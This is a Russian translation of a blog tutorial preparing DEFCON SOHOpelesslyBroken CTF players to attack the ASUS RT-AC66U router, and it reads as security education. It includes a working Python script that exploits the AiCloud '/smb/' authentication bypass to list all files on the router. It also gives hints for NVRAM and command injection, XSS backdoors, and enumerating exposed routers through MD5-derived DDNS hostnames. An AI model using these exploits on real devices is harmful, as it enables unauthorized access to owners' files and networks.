- PVSM.RU - https://www.pvsm.ru -
Наконец-то настал июль, время собираться на DEFCON. Фолловьте @defconparties [1] в твиттере и определяйтесь, какие местечки [2] посетить и на какие доклады [3] сходить.
В этом году будет новое соревнование — SOHOpelesslyBroken [4], от ISE и EFF. Цель Track 0 [5] состоит в том, чтобы показать ранее неизвестные уязвимости в домашних беспроводных роутерах. Track 1 [6] будет проходить в режиме CTF прямо во время DEFCON. CTFы всегда очень веселые, а конкретно этот подразумевает взлом реального железа, что веселее вдвойне!

Ага, это мое рабочее место =P
Меня очень интересует EFF Open Wireless Router [7] (переводчика, к слову, тоже), но они пока ничего не рассказывают об устройстве. В правилах соревнования [5] значится ASUS RT-AC66U [8] (HW Ver. A2) [Version 3.0.0.4.266] в качестве возможного устройства для взлома. У меня есть лишний RT-AC66U дома, поэтому я решил написать небольшой туториал для всех участников соревнования CTF
Первым делом, нужно найти прошивку и ее исходный код. К счастью, Asus RT-AC66U лицензирован под GPL, и не составляет труда найти исходный код прошивки в интернете. Версия, используемая в CTF, старая, от 2012 года. Чтобы проанализировать прошивку получше, мы возьмем прошивку и исходники версий от v3.0.0.4.266 до v3.0.0.4.376.1123 (последняя версия на момент написания статьи):
Asus RT-AC66u v3.0.0.4.266 - прошивка [9]
Asus RT-AC66u v3.0.0.4.266 - исходный код [10]
Asus RT-AC66u v3.0.0.4.376.1123 — прошивка [11]
Asus RT-AC66u v3.0.0.4.376.1123 — исходный код [12]
Множество обновлений прошивки было выпущено между этими двумя версиями, поэтому мы посмотрим историю их изменений:
www.asus.com/Networking/RTAC66U/HelpDesk_Download/ [13]

По правилам конкурса, мы должны обнаружить и эксплуатировать 0-day уязвимость. Можно соединить несколько разных уязвимостей, чтобы набрать побольше очков. Если производитель пропатчил уязвимость без сообщения о ней, а вы смогли ее проэксплуатировать, то она все-еще будет считаться 0-day уязвимостью (давайте не будем обсуждать терминологию).
Итак, у нас есть исходный код, настало время распаковать и исследовать его. CTF Field Guide [14] от Trail of Bits содержит хорошие ресурсы по аудиту исходного кода [15]. Можно использовать утилиты, вроде Beyond Compare [16], Araxis Merge [17] и WinMerge [18] под Windows, или Meld [19], если вы используете Linux.
Будем работать с директорией "/asuswrt/release/src/router/". Сравним две версии через Meld:
[20]
У этого роутера уже есть много обнаруженных уязвимостей. Если вы хотите найти 0-day, вам нужно убедиться, что уязвимость не нашли до вас (и, поверьте, это самая сложная часть). В качестве примера:
У вас отнимут некоторое количество очков, если ваши эксплоиты требуют особой конфигурации системы или специальной информации. Так что, если вы хотите набрать много очков, вам стоит нацеливаться на стандартную конфигурацию сервисов и процессов.
[27]
Во вкладке «Приложения USB» в RT-AC66U можно настроить некоторые сервисы, вроде FTP, DLNA, NFS и Samba.
[28]
MiniDLNA тоже отличная цель. В нем можно легко найти уязвимости, используя исследование [29] Zachary Cutlip [30]'а, т.к. он ломал эту программу несколько раз.
[31]
Другим потенциально уязвимым сервисом является AiCloud — он соединяет вашу домашнюю сеть с онлайн-хранилищем и дает доступ с мобильного устройства:
[32]
Пока часть команды исследует исходный код, forensics-специалисты будут распаковывать прошивку с использованием binwalk и fmk:
[33]
Вы можете помнить binwally [34] — утилиту, которую я написал для нахождения разницы между двумя бинарными деревьями с использованием fuzzy hashing [35]. В Binwalk есть своя опция для проведения fuzzy hashing между файлами и директориями.
[36]
Большинство производителей (вроде Asus) не открывают целиком весь код. Вероятно, вам придется реверсить драйверы и бинарники, чтобы найти хорошую уязвимость. Бинарник с именем «ACSD» наиболее интересен из-за того, что его убрали из новых версий прошивки (v3.0.0.4.374.130+) из-за уязвимость [37], найденной Jacob Holcomb [38].
[39]
Бинарники для MIPS Little Endian.
[40]
Также, важно разузнать побольше о файловой системе. В OpenWRT Wiki есть замечательная статья про разметку флеш-памяти [41]. MTD [42] в Linux дает доступ к флеш-устройствам и позволяет создавать полноценные файловые системы на них. Можно зайти по ssh на устройство и посмотреть разметку:
[43]
Раздел NVRAM очень ценен для нас, в нем хранятся все настройки устройства. Вы можем посмотреть его содержание просто сдампив нужны раздел (mtd1) или выполнив команду nvram show:
[44]
Pmon — еще один интересный раздел. Он содержит данные, сжатые LZMA, которые использует загрузчик для восстановления прошивки при неудачном обновлении.
[46]
Время начать чего-нибудь взламывать. Нам нужны утилиты вроде gdb, gdbserver и strace для начала отладки бинарников. Мы можем их либо кросс-компилировать, либо настроить Optware/Entware и установить собранные пакеты.
[48]
Wanduck (GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/rc/wanduck.c) довольно интересный процесс для анализа. Он запускается по умолчанию, и поднимет псевдо-HTTP сервер на порту 18017. Этот HTTP-сервер перенаправляет каждый запрос на главный интерфейс и, по какой-то причине, отбрасывает все запросы, которые заканчиваются на ".ico".
[49]
Давайте разберемся, почему он так делает — запустим gdbserver удаленно (gdbserver --multi localhost:12345 &) и соединимся любым отладчиком на ваше усмотрение. Если вы используете IDA Pro, откройте бинарник и установите тип процессора в «mipsrl».
[50]
Найдите функцию handle_http_req и установите точку останова на сравнении dst_url:
[51]
Введите host и port gdbserver'а в меню «Debugger / Process Options» и присоединитесь к нужному PID.
[52]
Продолжите выполнение процесса (F9) и выполните HTTP-запрос на 192.168.1.1/x.ico [54]. Отладчик остановится на заданной точке останова и вы сможете посмотреть регистры и память.
[55]
Если вы хотите найти другие цели для исследования, поищите их в директории «prebuilt» внутри «GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/». Некоторые интересные бинарники:
Мобильное приложение AiCloud может раскрыть больше интересной информации о работе устройства. Если вы разреверсите APK, или используете перехватывающий прокси, вы сможете получить первичный HTTP-запрос приложения:
[56]
Заметили странный параметр ddns_hostname? Задачка на криптографию =) (переводчик так не считает).
POST-запрос пытается зарегистрировать новый Dynamic DNS адрес устройству, используя сервис asuscomm.com. Если мы поищем эту строку в исходниках RT-AC66U, то с легкостью найдем функцию, которая генерирует адрес DDNS:
var isMD5DDNSName = function(){
var macAddr = '<% nvram_get("lan_hwaddr"); %>'.toUpperCase().replace(/:/g, "");
return "A"+hexMD5(macAddr).toUpperCase()+".asuscomm.com";
}
По информации с WikiDev [8], RT-AC66U использует следующие идентификаторы организации в MAC-адресах:
Используя эту информацию, мы можем сопоставить IP адрес каждого роутера, использующего AiCloud. Просто сгенерируем список всех возможных MAC-адресов и переберем DNS-имена трюком [59] mubix'а [60]
[61]
Если вам слишком лениво запускать команду, вы можете поискать «asuscomm.com» на Shodan [62].
[63]
AiCloud по умолчанию работает на портах 8082 и 443. Сам факт, что любой человек может с легкостью получить список роутеров, у которых запущен этот сервис, должен вызывать беспокойство, верно? [22]
Другой интересной криптографической разминкой может быть разбор алгоритма для генерации WPS PIN-а устройства. Вы можете получить текущий PIN и secret_code, выполнив команду nvram show | grep -E secret_code|wps_device_pin". Поищите эти значения в исходном коде и используйте полученную информацию для написания кейгена (и не забудьте добавить чиптюн с pouet.net [64]).
[65]
Вы также можете проверить энтропию ключей, сгенерированных на устройстве. Гляньте слайды «Fast Internet-wide Scanning and its Security Applications» [67], чтобы почерпнуть пару идей.
[68]
Есть так много техник для тестирования веб-проникновений, что я сфокусируют только на паре из них. У интерфейса роутера нет никакой защиты от CSRF. Также есть традиционный инжект в ping-команде и куча векторов XSS.
HTTP-демон основан на microhttpd. Тут есть базовая защита от выхода из директории в httpd.c:
Мы можем бесстыдно стащить идею [70] hackerfantastic [71] и протестировать потенциальные обходы защиты:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char *file;
int len;
file = argv[1];
len = strlen(file);
if ( file[0] == '/' || strcmp( file, ".." ) == 0 || strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) != (char*) 0 || strcmp( &(file[len-3]), "/.." ) == 0 )
{
printf ("Illegal filename: %sn", file);
}
else
{
printf ("Accepted filename: %sn", file);
}
return 0;
}
В веб-сервере есть некоторые обработчики MIME, которые «должны были быть убраны»
// some should be removed
struct except_mime_handler except_mime_handlers[] = {
{ "QIS_*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "qis/*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "*.css", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "state.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detect.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "popup.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "general.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "help.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_autodet.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply2.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "setting_lan.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "httpd_check.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "status.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "automac.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detecWAN.asp", MIME_EXCEPTION_NORESETTIME},
{ "detecWAN2.asp", MIME_EXCEPTION_NORESETTIME},
{ "WPS_info.asp", MIME_EXCEPTION_NORESETTIME},
{ "WAN_info.asp", MIME_EXCEPTION_NOAUTH_ALL|MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status.asp", MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status_QIS.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "result_of_detect_client.asp", MIME_EXCEPTION_NORESETTIME},
{ "Nologin.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "alertImg.gif", MIME_EXCEPTION_NOAUTH_ALL},
{ "error_page.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "jquery.js", MIME_EXCEPTION_NOAUTH_ALL},
{ "gotoHomePage.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_appstate.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_cloudstatus.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "get_webdavInfo.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.gz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.tgz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.zip", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.ipk", MIME_EXCEPTION_NOAUTH_ALL},
{ NULL, 0 }
};
Файл get_webdavInfo.asp доступен без аутентификации и отображает большое количество важной информации об устройстве и сети:
[73]
Мы можем изменить значения переменных в nvram, чтобы установить XSS-бекдор на этой странице, например:
[74]
Некоторые операции используют функиции nvram_get и nvram_safe_get. Настройки, бывает, сохраняются через функцию nvram_set. Если роутер не экранирует данные, которые получает с NVRAM, то можно сделать что-то вроде NVRAM-инъекции (%0A, %0D и `reboot` всегда будут вашими помощниками в этом деле).
AiCloud — очень уязвимый сервис, который можно легко проэксплуатировать [22]. Как только вы активируете его в настройках, на роутере запускается lighttpd на порту 8082 (или 443 на новых версиях прошивки) и предлагает дать доступ к вашим файлам онлайн. Прикол в том, что диалог ввода логина и пароля можно обойти, добавив /smb/ к URL (читайте исходники!)
[75]
Я написал небольшой скрипт для эксплуатации этого бага в AiCloud на RT-AC66U v3.0.0.4.266. Он получает все файлы и пути на роутере, в том числе и с USB-устройств.
#!/usr/bin/python
from bs4 import BeautifulSoup
import urllib2
import sys
def list_dir(url, start_dir):
try:
html_page = urllib2.urlopen(url+start_dir)
except urllib2.HTTPError as e:
print e
sys.exit(1)
soup = BeautifulSoup(html_page)
for link in soup.findAll('a'):
path = link.get('uhref')
if path != '../':
is_dir = link.get('isdir')
if is_dir == str('1'):
print url+path
list_dir(url,path)
else:
print url+path
nargs = len(sys.argv)
if nargs == 2:
url = sys.argv[1]
start_dir = "/smb"
elif nargs == 3:
url = sys.argv[1]
start_dir = str(sys.argv[2])
else:
print 'Asus RT-AC66U AiCloud Unauthenticated File Disclosure
nTested Firmwares: 3.0.0.4.266, 3.0.0.4.270 and 3.0.0.4.354
nDisclosed by Kyle Lovett
nScript by Bernardo Rodrigues - http://w00tsec.blogspot.com
nUsage: python %s http://url [path]' % sys.argv[0]
sys.exit(1)
list_dir(url, start_dir)
И напоследок, не забудьте сравнить разницу в файлах в директории www. По этому пути находятся все компоненты и скрипты, которые используются в веб-интерфейсе.
[79]
Почему-бы не попробовать открыть крышку роутера, не повредив гарантийную пломбу? Для этого вам понадобятся советы от ребят из DEFCON Tamber Evident Village [80].
Взлом Asus RT-AC66U — отличное упражнение для новичков во взломе роутеров. Бо́льшая часть исходного кода есть в свободном доступе, и можно найти кучу эксплоитов и описаний уязвимостей для него. Вы могли и не заметить, но мы протестировали каждый пункт из OWASP Internet of Things Top 10 [82]. Ходят слухи, что этот роутер будет в составе базовой части OWASP IoT Webgoat и Damn Vulnerable Embedded Linux.
Вот еще парочка подходов, которые вам могут дать дополнительные очки в соревновании:
Есть еще куча вещей, о которых я хочу написать, но придержу их для следующих постов. Если вы намерены участвовать в SOHOpelesslyBroken CTF и нашли эту статью полезной, вы можете в любое время пнуть меня и попить со мной кофе во время DEFCON/BsidesLV/Blackhat =)
Автор: ValdikSS
Источник [83]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/linux/65496
Ссылки в тексте:
[1] @defconparties: https://twitter.com/defconparties
[2] местечки: http://defcne.net/villages/22
[3] доклады: https://www.defcon.org/html/defcon-22/dc-22-schedule.html
[4] SOHOpelesslyBroken: http://sohopelesslybroken.com/
[5] Track 0: http://sohopelesslybroken.com/track0.php
[6] Track 1: http://sohopelesslybroken.com/track1.php
[7] EFF Open Wireless Router: https://openwireless.org/
[8] ASUS RT-AC66U: https://wikidevi.com/wiki/ASUS_RT-AC66U
[9] Asus RT-AC66u v3.0.0.4.266 - прошивка: http://ftp.tekwind.co.jp/pub/asustw/wireless/RT-AC66U/FW_RT_AC66U_VER3004266.zip
[10] Asus RT-AC66u v3.0.0.4.266 - исходный код: http://ftp.tekwind.co.jp/pub/asustw/wireless/RT-AC66U/GPL_RT_AC66U_VER3004266.zip
[11] Asus RT-AC66u v3.0.0.4.376.1123 — прошивка: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-AC66U/FW_RT_AC66U_30043761123.zip
[12] Asus RT-AC66u v3.0.0.4.376.1123 — исходный код: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-AC66U/GPL_RT-AC66U_30043761123.zip
[13] www.asus.com/Networking/RTAC66U/HelpDesk_Download/: http://www.asus.com/Networking/RTAC66U/HelpDesk_Download/
[14] CTF Field Guide: https://trailofbits.github.io/ctf
[15] аудиту исходного кода: https://trailofbits.github.io/ctf/vulnerabilities/source.html
[16] Beyond Compare: http://www.scootersoftware.com/
[17] Araxis Merge: http://www.araxis.com/merge/
[18] WinMerge: http://winmerge.org/
[19] Meld: http://meldmerge.org/
[20] Image: http://habrastorage.org/getpro/habr/post_images/429/18f/337/42918f337c307a8647f025bf259290ae.png
[21] ASUS RT-AC66U Remote Root (Broadcom ACSD): http://infosec42.blogspot.com.br/2013/07/exploit-asus-rt-ac66u-remote-root.html
[22] ASUS RT-N66U Router — HTTPS Directory traversal and full file access and credential disclosure vuln: http://www.securityfocus.com/archive/1/526942
[23] Asus RT56U Remote Command Injection: https://hatriot.github.io/blog/2013/06/05/asus-rt56u-remote-command-injection/
[24] Taking over the ASUS RT-N56U and RT-AC66U: http://securityevaluators.com/knowledge/case_studies/routers/asus_rtn56u.php
[25] Dear Asus router user: You’ve been pwned, thanks to easily exploited flaw (Asusgate): http://arstechnica.com/security/2014/02/dear-asus-router-user-youve-been-pwned-thanks-to-easily-exploited-flaw/
[26] OSVDB: http://osvdb.com/search?search%5Bvuln_title%5D=asus&search%5Btext_type%5D=alltext
[27] Image: http://habrastorage.org/getpro/habr/post_images/5c5/22d/fde/5c522dfde0fcb2f6b6ea38fa6c4edd1f.png
[28] Image: http://habrastorage.org/getpro/habr/post_images/cd2/b3f/0e3/cd2b3f0e317a7ebf99c5269863e6fb1b.png
[29] исследование: http://shadow-file.blogspot.com.br/2014/05/infiltrate-2014.html
[30] Zachary Cutlip: https://twitter.com/zcutlip
[31] Image: http://habrastorage.org/getpro/habr/post_images/217/2d3/f69/2172d3f69b906aeb8ea8f3def1debf6a.png
[32] Image: http://habrastorage.org/getpro/habr/post_images/3c4/027/10a/3c402710ad893082c79cdbc8be222fb4.png
[33] Image: http://habrastorage.org/getpro/habr/post_images/ef7/a54/c3d/ef7a54c3d63c16a6e39b4583d11ca2c5.png
[34] binwally: https://github.com/bmaia/binwally
[35] нахождения разницы между двумя бинарными деревьями с использованием fuzzy hashing: http://w00tsec.blogspot.com/2013/12/binwally-directory-tree-diff-tool-using.html
[36] Image: http://habrastorage.org/getpro/habr/post_images/3a5/78e/bbe/3a578ebbeb7cfe258eac69e461fd8e0d.png
[37] уязвимость: http://infosec42.blogspot.com/2013/07/exploit-asus-rt-ac66u-remote-root.html
[38] Jacob Holcomb: https://twitter.com/rootHak42
[39] Image: http://habrastorage.org/getpro/habr/post_images/a23/8cd/cb9/a238cdcb97dce13817ad5bd6044225f4.png
[40] Image: http://habrastorage.org/getpro/habr/post_images/028/b64/d60/028b64d609af70396314f3151e75ecea.png
[41] про разметку флеш-памяти: http://wiki.openwrt.org/doc/techref/flash.layout
[42] MTD: https://en.wikipedia.org/wiki/Memory_Technology_Device
[43] Image: http://habrastorage.org/getpro/habr/post_images/2bf/697/9cd/2bf6979cdfefb64c5fbe0afee918c6d7.png
[44] Image: http://habrastorage.org/getpro/habr/post_images/aa8/dfb/384/aa8dfb38482c8a2148e6b2c04c502f26.png
[45] Image: http://habrastorage.org/getpro/habr/post_images/e84/7ab/b58/e847abb58b49a8f897cdb2e5ad320018.png
[46] Image: http://habrastorage.org/getpro/habr/post_images/7bb/e22/cbf/7bbe22cbf137d2d4ab9ac623e830b3bb.png
[47] Image: http://habrastorage.org/getpro/habr/post_images/ddc/51f/391/ddc51f391d10eeeea9cc94c9d8c26d37.png
[48] Image: http://habrastorage.org/getpro/habr/post_images/e7e/59f/b0c/e7e59fb0c065b34e7d6cd035a575b955.png
[49] Image: http://habrastorage.org/getpro/habr/post_images/7df/436/a5f/7df436a5f56d011beeb1c5fc96ba41e4.png
[50] Image: http://habrastorage.org/getpro/habr/post_images/550/f86/ef5/550f86ef58bf0a2bc3ac77371bcb62f6.png
[51] Image: http://habrastorage.org/getpro/habr/post_images/e0b/99d/6d1/e0b99d6d1197edbefda922dd0419027f.png
[52] Image: http://habrastorage.org/getpro/habr/post_images/432/6f5/2fc/4326f52fc051811f6db0f4bc4650b574.png
[53] Image: http://habrastorage.org/getpro/habr/post_images/0ee/152/944/0ee152944d61546a02c7d23865b78020.png
[54] 192.168.1.1/x.ico: http://192.168.1.1/x.ico
[55] Image: http://habrastorage.org/getpro/habr/post_images/9c9/aee/dd3/9c9aeedd3a31b362fdf3ef28be5554ef.png
[56] Image: http://habrastorage.org/getpro/habr/post_images/d58/bb5/a68/d58bb5a6855a127de7636599695599e1.png
[57] Image: http://habrastorage.org/getpro/habr/post_images/5b0/be9/006/5b0be90062b05e237f68df29f94b2cad.png
[58] Image: http://habrastorage.org/getpro/habr/post_images/606/320/ca6/606320ca666bbc802781b3cc9fe79312.png
[59] трюком: http://www.room362.com/blog/2014/01/29/hostname-bruteforcing-on-the-cheap/
[60] mubix'а: https://twitter.com/mubix
[61] Image: http://habrastorage.org/getpro/habr/post_images/739/0db/108/7390db1088a764a48043bdee7db663b5.png
[62] Shodan: http://www.shodanhq.com/
[63] Image: http://habrastorage.org/getpro/habr/post_images/03c/208/94b/03c20894b9d257778b713d71ccd81e86.png
[64] pouet.net: http://pouet.net
[65] Image: http://habrastorage.org/getpro/habr/post_images/7df/42d/df6/7df42ddf648147f8312523df95ec89b9.png
[66] Image: http://habrastorage.org/getpro/habr/post_images/e58/485/eb4/e58485eb4a8561c5052f2dee0267d847.png
[67] «Fast Internet-wide Scanning and its Security Applications»: http://events.ccc.de/congress/2013/Fahrplan/system/attachments/2226/original/Scanning-30c3-13.pdf
[68] Image: http://habrastorage.org/getpro/habr/post_images/2ce/ff7/0b8/2ceff70b8eaec7af2ac41ceb93340af2.png
[69] Image: http://habrastorage.org/getpro/habr/post_images/d8f/541/c76/d8f541c768474a958f4cd0d622a8ff0d.png
[70] идею: http://www.exploit-db.com/download_pdf/18094/
[71] hackerfantastic: https://twitter.com/hackerfantastic
[72] Image: http://habrastorage.org/getpro/habr/post_images/a42/43c/f30/a4243cf3091c85f7ae09124472ffcef6.png
[73] Image: http://habrastorage.org/getpro/habr/post_images/a12/4ee/c7d/a124eec7d5ad6c4e30ce8102185ff9aa.png
[74] Image: http://habrastorage.org/getpro/habr/post_images/805/30f/40c/80530f40c65bedadfcfcb925de42f9cf.png
[75] Image: http://habrastorage.org/getpro/habr/post_images/37d/79a/045/37d79a045c3e4cf67a0dbc518d81bbc9.png
[76] Image: http://habrastorage.org/getpro/habr/post_images/a5f/0ab/4b6/a5f0ab4b6b7de4a058095ff37f43bea1.png
[77] Image: http://habrastorage.org/getpro/habr/post_images/8d2/592/288/8d2592288250ceaff2a47b758ec9dc4b.png
[78] Image: http://habrastorage.org/getpro/habr/post_images/397/335/2e7/3973352e7b275a637c4e7d6f73313b32.png
[79] Image: http://habrastorage.org/getpro/habr/post_images/06e/38e/55b/06e38e55bc651787474eb08d66839398.png
[80] DEFCON Tamber Evident Village: http://defcne.net/villages/22/17
[81] Image: http://habrastorage.org/getpro/habr/post_images/61f/925/544/61f9255440160905553f1f9bee6c4d02.png
[82] OWASP Internet of Things Top 10: https://www.owasp.org/index.php/OWASP_Internet_of_Things_Top_Ten_Project#tab=OWASP_Internet_of_Things_Top_10_for_2014
[83] Источник: http://habrahabr.ru/post/230469/
Нажмите здесь для печати.